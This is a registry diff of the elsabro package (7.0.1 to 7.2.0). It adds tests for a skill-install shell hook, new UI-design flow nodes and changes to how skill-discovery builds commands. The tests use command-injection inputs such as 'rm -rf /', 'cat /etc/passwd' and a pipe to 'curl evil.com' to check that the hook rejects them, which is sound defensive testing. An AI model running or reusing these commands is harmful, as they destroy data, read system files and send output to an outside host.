elsabro 7.0.1 → 7.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +155 -887
- package/commands/elsabro/execute.md +121 -10
- package/commands/elsabro/party.md +87 -2
- package/commands/elsabro/start.md +9 -3
- package/flow-engine/src/party.js +29 -3
- package/flow-engine/tests/cli.test.js +2 -2
- package/flow-engine/tests/graph.test.js +1 -1
- package/flow-engine/tests/integration.test.js +7 -7
- package/flow-engine/tests/party.test.js +57 -0
- package/flow-engine/tests/runner.test.js +457 -0
- package/flow-engine/tests/skill-install.test.js +374 -0
- package/flows/development-flow.json +42 -5
- package/flows/quick-flow.json +0 -1
- package/hooks/skill-discovery.sh +6 -4
- package/hooks/skill-install.sh +224 -0
- package/package.json +1 -1
- package/references/command-flow.md +25 -20
|
@@ -0,0 +1,374 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { describe, it } = require('node:test');
|
|
4
|
+
const assert = require('node:assert/strict');
|
|
5
|
+
const { execSync } = require('node:child_process');
|
|
6
|
+
const fs = require('node:fs');
|
|
7
|
+
const path = require('node:path');
|
|
8
|
+
const os = require('node:os');
|
|
9
|
+
|
|
10
|
+
// ---------- Shared helpers ----------
|
|
11
|
+
|
|
12
|
+
const PROJECT_ROOT = path.resolve(__dirname, '..', '..');
|
|
13
|
+
const SCRIPT = path.join(PROJECT_ROOT, 'hooks', 'skill-install.sh');
|
|
14
|
+
|
|
15
|
+
/**
|
|
16
|
+
* Run skill-install.sh with given args, parse JSON from stdout.
|
|
17
|
+
* Script always exits 0; errors communicated via JSON.
|
|
18
|
+
*/
|
|
19
|
+
function runInstall(args, opts = {}) {
|
|
20
|
+
const env = { ...process.env, ...opts.env };
|
|
21
|
+
try {
|
|
22
|
+
const stdout = execSync(`bash "${SCRIPT}" ${args}`, {
|
|
23
|
+
cwd: PROJECT_ROOT,
|
|
24
|
+
encoding: 'utf8',
|
|
25
|
+
env,
|
|
26
|
+
stdio: ['pipe', 'pipe', 'pipe'],
|
|
27
|
+
timeout: 15000
|
|
28
|
+
});
|
|
29
|
+
return JSON.parse(stdout.trim());
|
|
30
|
+
} catch (err) {
|
|
31
|
+
// Script exits 0, but execSync can throw on timeout or signal
|
|
32
|
+
if (err.stdout) return JSON.parse(err.stdout.trim());
|
|
33
|
+
throw err;
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
/**
|
|
38
|
+
* Create a temp dir with a mock `npx` script that executes the given behavior.
|
|
39
|
+
* Returns the temp dir path (prepend to PATH).
|
|
40
|
+
*/
|
|
41
|
+
function createMockNpx(behavior) {
|
|
42
|
+
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-npx-'));
|
|
43
|
+
const script = path.join(dir, 'npx');
|
|
44
|
+
fs.writeFileSync(script, `#!/bin/bash\n${behavior}`, { mode: 0o755 });
|
|
45
|
+
return dir;
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
/**
|
|
49
|
+
* Create a temp HOME-equivalent dir with .claude/skills/ structure.
|
|
50
|
+
* `skills` is an object: { "name.md": "content", "sub/SKILL.md": "content" }
|
|
51
|
+
* Returns the tmpdir (use as HOME).
|
|
52
|
+
*/
|
|
53
|
+
function createMockSkillsDir(skills = {}) {
|
|
54
|
+
const tmpBase = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-home-'));
|
|
55
|
+
const skillsDir = path.join(tmpBase, '.claude', 'skills');
|
|
56
|
+
fs.mkdirSync(skillsDir, { recursive: true });
|
|
57
|
+
for (const [name, content] of Object.entries(skills)) {
|
|
58
|
+
const filePath = path.join(skillsDir, name);
|
|
59
|
+
fs.mkdirSync(path.dirname(filePath), { recursive: true });
|
|
60
|
+
fs.writeFileSync(filePath, content);
|
|
61
|
+
}
|
|
62
|
+
return tmpBase;
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
function cleanup(dir) {
|
|
66
|
+
fs.rmSync(dir, { recursive: true, force: true });
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
// ---------- Tests ----------
|
|
70
|
+
|
|
71
|
+
describe('skill-install.sh', () => {
|
|
72
|
+
|
|
73
|
+
// ---- cmd_check ----
|
|
74
|
+
describe('cmd_check', () => {
|
|
75
|
+
it('returns ok when npx skills check succeeds', () => {
|
|
76
|
+
const mockDir = createMockNpx('echo "Registry OK"; exit 0');
|
|
77
|
+
try {
|
|
78
|
+
const result = runInstall('check', {
|
|
79
|
+
env: { PATH: `${mockDir}:${process.env.PATH}` }
|
|
80
|
+
});
|
|
81
|
+
assert.equal(result.status, 'ok');
|
|
82
|
+
} finally {
|
|
83
|
+
cleanup(mockDir);
|
|
84
|
+
}
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
it('returns error when npx skills check fails', () => {
|
|
88
|
+
const mockDir = createMockNpx('echo "Connection refused" >&2; exit 1');
|
|
89
|
+
try {
|
|
90
|
+
const result = runInstall('check', {
|
|
91
|
+
env: { PATH: `${mockDir}:${process.env.PATH}` }
|
|
92
|
+
});
|
|
93
|
+
assert.equal(result.status, 'error');
|
|
94
|
+
assert.ok(result.message.includes('registry check failed'));
|
|
95
|
+
} finally {
|
|
96
|
+
cleanup(mockDir);
|
|
97
|
+
}
|
|
98
|
+
});
|
|
99
|
+
|
|
100
|
+
it('returns error when npx is not found', () => {
|
|
101
|
+
const result = runInstall('check', {
|
|
102
|
+
env: { PATH: '/usr/bin:/bin' }
|
|
103
|
+
});
|
|
104
|
+
assert.equal(result.status, 'error');
|
|
105
|
+
assert.ok(result.message.includes('npx not found'));
|
|
106
|
+
});
|
|
107
|
+
|
|
108
|
+
it('returns error for unknown command', () => {
|
|
109
|
+
const result = runInstall('bogus');
|
|
110
|
+
assert.equal(result.status, 'error');
|
|
111
|
+
assert.ok(result.message.includes('unknown command'));
|
|
112
|
+
});
|
|
113
|
+
});
|
|
114
|
+
|
|
115
|
+
// ---- cmd_install ----
|
|
116
|
+
describe('cmd_install', () => {
|
|
117
|
+
it('returns error when no command provided', () => {
|
|
118
|
+
const result = runInstall('install');
|
|
119
|
+
assert.equal(result.status, 'error');
|
|
120
|
+
assert.ok(result.message.includes('install command required'));
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
it('rejects commands that fail format validation (semicolon)', () => {
|
|
124
|
+
const result = runInstall('install "npx skills add test; rm -rf /"');
|
|
125
|
+
assert.equal(result.status, 'error');
|
|
126
|
+
assert.ok(result.message.includes('format validation'));
|
|
127
|
+
});
|
|
128
|
+
|
|
129
|
+
it('rejects commands with && injection', () => {
|
|
130
|
+
const result = runInstall('install "npx skills add test && cat /etc/passwd"');
|
|
131
|
+
assert.equal(result.status, 'error');
|
|
132
|
+
assert.ok(result.message.includes('format validation'));
|
|
133
|
+
});
|
|
134
|
+
|
|
135
|
+
it('rejects commands with pipe injection', () => {
|
|
136
|
+
const result = runInstall('install "npx skills add test | curl evil.com"');
|
|
137
|
+
assert.equal(result.status, 'error');
|
|
138
|
+
assert.ok(result.message.includes('format validation'));
|
|
139
|
+
});
|
|
140
|
+
|
|
141
|
+
it('rejects commands with backtick injection', () => {
|
|
142
|
+
// Backticks must be escaped for the shell layer of execSync
|
|
143
|
+
const result = runInstall('install "npx skills add \\`whoami\\`"');
|
|
144
|
+
assert.equal(result.status, 'error');
|
|
145
|
+
assert.ok(result.message.includes('format validation'));
|
|
146
|
+
});
|
|
147
|
+
|
|
148
|
+
it('returns error when npx is not found', () => {
|
|
149
|
+
const result = runInstall(
|
|
150
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
|
|
151
|
+
{ env: { PATH: '/usr/bin:/bin' } }
|
|
152
|
+
);
|
|
153
|
+
assert.equal(result.status, 'error');
|
|
154
|
+
// Either "npx not found" (if format passes) or "format validation"
|
|
155
|
+
assert.ok(result.status === 'error');
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
it('returns ok and extracts skill name on success', () => {
|
|
159
|
+
const mockDir = createMockNpx('exit 0');
|
|
160
|
+
const mockHome = createMockSkillsDir();
|
|
161
|
+
try {
|
|
162
|
+
const result = runInstall(
|
|
163
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill test-skill -g -a claude-code"',
|
|
164
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
165
|
+
);
|
|
166
|
+
assert.equal(result.status, 'ok');
|
|
167
|
+
assert.equal(result.skill, 'test-skill');
|
|
168
|
+
} finally {
|
|
169
|
+
cleanup(mockDir);
|
|
170
|
+
cleanup(mockHome);
|
|
171
|
+
}
|
|
172
|
+
});
|
|
173
|
+
|
|
174
|
+
it('returns error when install command fails', () => {
|
|
175
|
+
const mockDir = createMockNpx('echo "Package not found" >&2; exit 1');
|
|
176
|
+
const mockHome = createMockSkillsDir();
|
|
177
|
+
try {
|
|
178
|
+
const result = runInstall(
|
|
179
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill bad-skill -g -a claude-code"',
|
|
180
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
181
|
+
);
|
|
182
|
+
assert.equal(result.status, 'error');
|
|
183
|
+
assert.ok(result.message.includes('install failed'));
|
|
184
|
+
} finally {
|
|
185
|
+
cleanup(mockDir);
|
|
186
|
+
cleanup(mockHome);
|
|
187
|
+
}
|
|
188
|
+
});
|
|
189
|
+
|
|
190
|
+
it('returns timeout error when install exits with code 124', () => {
|
|
191
|
+
// Exit 124 is what timeout/gtimeout returns; mock npx can simulate it directly
|
|
192
|
+
const mockDir = createMockNpx('exit 124');
|
|
193
|
+
const mockHome = createMockSkillsDir();
|
|
194
|
+
try {
|
|
195
|
+
const result = runInstall(
|
|
196
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill timeout-test -g -a claude-code"',
|
|
197
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
198
|
+
);
|
|
199
|
+
assert.equal(result.status, 'error');
|
|
200
|
+
assert.ok(result.message.includes('timed out'));
|
|
201
|
+
} finally {
|
|
202
|
+
cleanup(mockDir);
|
|
203
|
+
cleanup(mockHome);
|
|
204
|
+
}
|
|
205
|
+
});
|
|
206
|
+
|
|
207
|
+
it('returns error when skills dir not writable', () => {
|
|
208
|
+
const mockDir = createMockNpx('exit 0');
|
|
209
|
+
const mockHome = createMockSkillsDir();
|
|
210
|
+
const skillsDir = path.join(mockHome, '.claude', 'skills');
|
|
211
|
+
fs.chmodSync(skillsDir, 0o444);
|
|
212
|
+
try {
|
|
213
|
+
const result = runInstall(
|
|
214
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
|
|
215
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
216
|
+
);
|
|
217
|
+
assert.equal(result.status, 'error');
|
|
218
|
+
assert.ok(result.message.includes('not writable'));
|
|
219
|
+
} finally {
|
|
220
|
+
fs.chmodSync(skillsDir, 0o755);
|
|
221
|
+
cleanup(mockDir);
|
|
222
|
+
cleanup(mockHome);
|
|
223
|
+
}
|
|
224
|
+
});
|
|
225
|
+
|
|
226
|
+
it('invalidates discovery cache on success', () => {
|
|
227
|
+
const mockDir = createMockNpx('exit 0');
|
|
228
|
+
const mockHome = createMockSkillsDir();
|
|
229
|
+
const cacheDir = path.join(PROJECT_ROOT, '.cache');
|
|
230
|
+
const cacheFile = path.join(cacheDir, 'skill-discovery-cache.json');
|
|
231
|
+
// Save original content (not just existence) to restore after test
|
|
232
|
+
const originalContent = fs.existsSync(cacheFile)
|
|
233
|
+
? fs.readFileSync(cacheFile, 'utf8')
|
|
234
|
+
: null;
|
|
235
|
+
if (!fs.existsSync(cacheDir)) fs.mkdirSync(cacheDir, { recursive: true });
|
|
236
|
+
fs.writeFileSync(cacheFile, '{"cached":true}');
|
|
237
|
+
try {
|
|
238
|
+
runInstall(
|
|
239
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill cache-test -g -a claude-code"',
|
|
240
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
241
|
+
);
|
|
242
|
+
assert.equal(fs.existsSync(cacheFile), false, 'Cache should be deleted after install');
|
|
243
|
+
} finally {
|
|
244
|
+
cleanup(mockDir);
|
|
245
|
+
cleanup(mockHome);
|
|
246
|
+
// Restore exact original content, or remove if it didn't exist
|
|
247
|
+
if (originalContent !== null) {
|
|
248
|
+
fs.writeFileSync(cacheFile, originalContent);
|
|
249
|
+
} else if (fs.existsSync(cacheFile)) {
|
|
250
|
+
fs.unlinkSync(cacheFile);
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
});
|
|
254
|
+
});
|
|
255
|
+
|
|
256
|
+
// ---- cmd_validate ----
|
|
257
|
+
describe('cmd_validate', () => {
|
|
258
|
+
it('returns error when no skill name provided', () => {
|
|
259
|
+
const result = runInstall('validate');
|
|
260
|
+
assert.equal(result.status, 'error');
|
|
261
|
+
assert.ok(result.message.includes('skill name required'));
|
|
262
|
+
});
|
|
263
|
+
|
|
264
|
+
it('returns ok with has_frontmatter:true for flat file with YAML', () => {
|
|
265
|
+
const mockHome = createMockSkillsDir({
|
|
266
|
+
'test-skill.md': '---\nname: test-skill\n---\n# Content'
|
|
267
|
+
});
|
|
268
|
+
try {
|
|
269
|
+
const result = runInstall('validate "test-skill"', {
|
|
270
|
+
env: { HOME: mockHome }
|
|
271
|
+
});
|
|
272
|
+
assert.equal(result.status, 'ok');
|
|
273
|
+
assert.equal(result.has_frontmatter, true);
|
|
274
|
+
assert.ok(result.path.includes('test-skill.md'));
|
|
275
|
+
} finally {
|
|
276
|
+
cleanup(mockHome);
|
|
277
|
+
}
|
|
278
|
+
});
|
|
279
|
+
|
|
280
|
+
it('returns ok with has_frontmatter:false for flat file without YAML', () => {
|
|
281
|
+
const mockHome = createMockSkillsDir({
|
|
282
|
+
'no-yaml.md': '# Just markdown\nNo frontmatter here'
|
|
283
|
+
});
|
|
284
|
+
try {
|
|
285
|
+
const result = runInstall('validate "no-yaml"', {
|
|
286
|
+
env: { HOME: mockHome }
|
|
287
|
+
});
|
|
288
|
+
assert.equal(result.status, 'ok');
|
|
289
|
+
assert.equal(result.has_frontmatter, false);
|
|
290
|
+
} finally {
|
|
291
|
+
cleanup(mockHome);
|
|
292
|
+
}
|
|
293
|
+
});
|
|
294
|
+
|
|
295
|
+
it('finds skill in subdirectory SKILL.md with YAML', () => {
|
|
296
|
+
const mockHome = createMockSkillsDir({
|
|
297
|
+
'subskill/SKILL.md': '---\nname: subskill\n---\n# Subdir skill'
|
|
298
|
+
});
|
|
299
|
+
try {
|
|
300
|
+
const result = runInstall('validate "subskill"', {
|
|
301
|
+
env: { HOME: mockHome }
|
|
302
|
+
});
|
|
303
|
+
assert.equal(result.status, 'ok');
|
|
304
|
+
assert.equal(result.has_frontmatter, true);
|
|
305
|
+
assert.ok(result.path.includes('subskill/SKILL.md'));
|
|
306
|
+
} finally {
|
|
307
|
+
cleanup(mockHome);
|
|
308
|
+
}
|
|
309
|
+
});
|
|
310
|
+
|
|
311
|
+
it('returns has_frontmatter:false for subdirectory without YAML', () => {
|
|
312
|
+
const mockHome = createMockSkillsDir({
|
|
313
|
+
'subskill-noyaml/SKILL.md': '# Just content\nNo YAML here'
|
|
314
|
+
});
|
|
315
|
+
try {
|
|
316
|
+
const result = runInstall('validate "subskill-noyaml"', {
|
|
317
|
+
env: { HOME: mockHome }
|
|
318
|
+
});
|
|
319
|
+
assert.equal(result.status, 'ok');
|
|
320
|
+
assert.equal(result.has_frontmatter, false);
|
|
321
|
+
assert.ok(result.path.includes('subskill-noyaml/SKILL.md'));
|
|
322
|
+
} finally {
|
|
323
|
+
cleanup(mockHome);
|
|
324
|
+
}
|
|
325
|
+
});
|
|
326
|
+
|
|
327
|
+
it('returns error when skill file not found', () => {
|
|
328
|
+
const mockHome = createMockSkillsDir({});
|
|
329
|
+
try {
|
|
330
|
+
const result = runInstall('validate "nonexistent"', {
|
|
331
|
+
env: { HOME: mockHome }
|
|
332
|
+
});
|
|
333
|
+
assert.equal(result.status, 'error');
|
|
334
|
+
assert.ok(result.message.includes('not found'));
|
|
335
|
+
} finally {
|
|
336
|
+
cleanup(mockHome);
|
|
337
|
+
}
|
|
338
|
+
});
|
|
339
|
+
});
|
|
340
|
+
|
|
341
|
+
// ---- JSON contract ----
|
|
342
|
+
describe('JSON contract', () => {
|
|
343
|
+
it('all commands return valid JSON on stdout', () => {
|
|
344
|
+
const mockDir = createMockNpx('exit 1');
|
|
345
|
+
try {
|
|
346
|
+
const commands = ['check', 'install', 'validate', 'bogus'];
|
|
347
|
+
for (const cmd of commands) {
|
|
348
|
+
const result = runInstall(cmd, {
|
|
349
|
+
env: { PATH: `${mockDir}:${process.env.PATH}` }
|
|
350
|
+
});
|
|
351
|
+
assert.ok(typeof result === 'object', `${cmd} should return JSON object`);
|
|
352
|
+
assert.ok('status' in result, `${cmd} should have status field`);
|
|
353
|
+
}
|
|
354
|
+
} finally {
|
|
355
|
+
cleanup(mockDir);
|
|
356
|
+
}
|
|
357
|
+
});
|
|
358
|
+
|
|
359
|
+
it('status is always "ok" or "error"', () => {
|
|
360
|
+
const mockDir = createMockNpx('exit 0');
|
|
361
|
+
try {
|
|
362
|
+
const okResult = runInstall('check', {
|
|
363
|
+
env: { PATH: `${mockDir}:${process.env.PATH}` }
|
|
364
|
+
});
|
|
365
|
+
assert.ok(['ok', 'error'].includes(okResult.status));
|
|
366
|
+
} finally {
|
|
367
|
+
cleanup(mockDir);
|
|
368
|
+
}
|
|
369
|
+
|
|
370
|
+
const errResult = runInstall('bogus');
|
|
371
|
+
assert.ok(['ok', 'error'].includes(errResult.status));
|
|
372
|
+
});
|
|
373
|
+
});
|
|
374
|
+
});
|
|
@@ -6,23 +6,22 @@
|
|
|
6
6
|
|
|
7
7
|
"config": {
|
|
8
8
|
"timeout": 3600000,
|
|
9
|
-
"maxRetries": 3,
|
|
10
9
|
"checkpointEnabled": true,
|
|
11
10
|
"interruptEnabled": true,
|
|
12
11
|
"errorPolicy": "quorum"
|
|
13
12
|
},
|
|
14
13
|
|
|
15
14
|
"sync_metadata": {
|
|
16
|
-
"last_audit": "2026-02-
|
|
15
|
+
"last_audit": "2026-02-08",
|
|
17
16
|
"audit_result": {
|
|
18
|
-
"total_nodes":
|
|
19
|
-
"implemented":
|
|
17
|
+
"total_nodes": 44,
|
|
18
|
+
"implemented": 42,
|
|
20
19
|
"partial": 0,
|
|
21
20
|
"not_implemented": 0,
|
|
22
21
|
"deprecated": 2,
|
|
23
22
|
"implementation_rate": "95%"
|
|
24
23
|
},
|
|
25
|
-
"note": "
|
|
24
|
+
"note": "M5-P2: Added design_ui + interrupt_design_complete (2 new implemented nodes). 42 implemented, 2 deprecated (teams_spawn, interrupt_teams_failed). design_ui is optional side-branch, not on mandatory path."
|
|
26
25
|
},
|
|
27
26
|
|
|
28
27
|
"inputs": {
|
|
@@ -980,6 +979,44 @@
|
|
|
980
979
|
}
|
|
981
980
|
},
|
|
982
981
|
|
|
982
|
+
{
|
|
983
|
+
"id": "design_ui",
|
|
984
|
+
"type": "agent",
|
|
985
|
+
"description": "Optional: Design UI screens with Stitch AI before implementation",
|
|
986
|
+
"runtime_status": "implemented",
|
|
987
|
+
"implemented_in": "commands/elsabro/design-ui.md",
|
|
988
|
+
"agent": "elsabro-ux-designer",
|
|
989
|
+
"config": { "model": "sonnet", "timeout": 600000 },
|
|
990
|
+
"inputs": {
|
|
991
|
+
"task": "{{inputs.task}}",
|
|
992
|
+
"context": "{{state.loadedContext}}"
|
|
993
|
+
},
|
|
994
|
+
"next": "interrupt_design_complete"
|
|
995
|
+
},
|
|
996
|
+
|
|
997
|
+
{
|
|
998
|
+
"id": "interrupt_design_complete",
|
|
999
|
+
"type": "interrupt",
|
|
1000
|
+
"description": "After design-ui: choose next step (implement, plan, or done)",
|
|
1001
|
+
"runtime_status": "implemented",
|
|
1002
|
+
"implemented_in": "commands/elsabro/design-ui.md#siguiente_paso",
|
|
1003
|
+
"reason": "Design screens generated - choose next action",
|
|
1004
|
+
"display": {
|
|
1005
|
+
"title": "Diseno UI Completado",
|
|
1006
|
+
"content": "Se han generado los screens de UI. Elige como continuar.",
|
|
1007
|
+
"options": [
|
|
1008
|
+
{ "id": "implement", "label": "Implementar los disenos ahora" },
|
|
1009
|
+
{ "id": "plan", "label": "Planificar la implementacion primero" },
|
|
1010
|
+
{ "id": "done", "label": "Listo por ahora" }
|
|
1011
|
+
]
|
|
1012
|
+
},
|
|
1013
|
+
"routes": {
|
|
1014
|
+
"implement": "standard_analyze",
|
|
1015
|
+
"plan": "interview_default",
|
|
1016
|
+
"done": "end_success"
|
|
1017
|
+
}
|
|
1018
|
+
},
|
|
1019
|
+
|
|
983
1020
|
{
|
|
984
1021
|
"id": "end_cancelled",
|
|
985
1022
|
"type": "exit",
|
package/flows/quick-flow.json
CHANGED
package/hooks/skill-discovery.sh
CHANGED
|
@@ -31,6 +31,7 @@ GLOBAL_SKILLS_DIR="${HOME}/.claude/skills"
|
|
|
31
31
|
CACHE_DIR="${PROJECT_ROOT}/.cache"
|
|
32
32
|
CACHE_FILE="${CACHE_DIR}/skill-discovery-cache.json"
|
|
33
33
|
CACHE_TTL=3600 # 1 hora
|
|
34
|
+
DEFAULT_SKILLS_SOURCE="vercel-labs/agent-skills"
|
|
34
35
|
|
|
35
36
|
MAX_RESULTS=10
|
|
36
37
|
NPX_TIMEOUT=30 # segundos
|
|
@@ -291,7 +292,7 @@ discover_via_npx_skills() {
|
|
|
291
292
|
# El formato típico es líneas con nombre y descripción
|
|
292
293
|
# Intentar parsear como JSON primero (por si devuelve JSON)
|
|
293
294
|
if echo "$raw_output" | jq empty 2>/dev/null; then
|
|
294
|
-
echo "$raw_output" | jq '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add
|
|
295
|
+
echo "$raw_output" | jq --arg src "$DEFAULT_SKILLS_SOURCE" '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add " + $src + " --skill " + .name + " -g -a claude-code -y")}]' 2>/dev/null || echo "[]"
|
|
295
296
|
return
|
|
296
297
|
fi
|
|
297
298
|
|
|
@@ -312,8 +313,8 @@ discover_via_npx_skills() {
|
|
|
312
313
|
|
|
313
314
|
# Use jq for safe JSON construction
|
|
314
315
|
local skill_obj
|
|
315
|
-
skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg
|
|
316
|
-
'{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: $
|
|
316
|
+
skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg src "$DEFAULT_SKILLS_SOURCE" \
|
|
317
|
+
'{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: ("npx skills add " + $src + " --skill " + $id + " -g -a claude-code -y")}')
|
|
317
318
|
skills+=("$skill_obj")
|
|
318
319
|
done <<< "$raw_output"
|
|
319
320
|
|
|
@@ -450,6 +451,7 @@ NOJQ
|
|
|
450
451
|
--argjson external "$external" \
|
|
451
452
|
--argjson recommended "$recommended" \
|
|
452
453
|
--argjson updates "$updates" \
|
|
454
|
+
--arg src "$DEFAULT_SKILLS_SOURCE" \
|
|
453
455
|
'{
|
|
454
456
|
timestamp: (now | strftime("%Y-%m-%dT%H:%M:%SZ")),
|
|
455
457
|
status: "success",
|
|
@@ -484,7 +486,7 @@ NOJQ
|
|
|
484
486
|
actions: {
|
|
485
487
|
install_all: (
|
|
486
488
|
if ($recommended | length) > 0
|
|
487
|
-
then "npx skills add
|
|
489
|
+
then "npx skills add " + $src + " --skill " + ([$recommended[].id] | join(" --skill ")) + " -g -a claude-code -y"
|
|
488
490
|
else null
|
|
489
491
|
end
|
|
490
492
|
),
|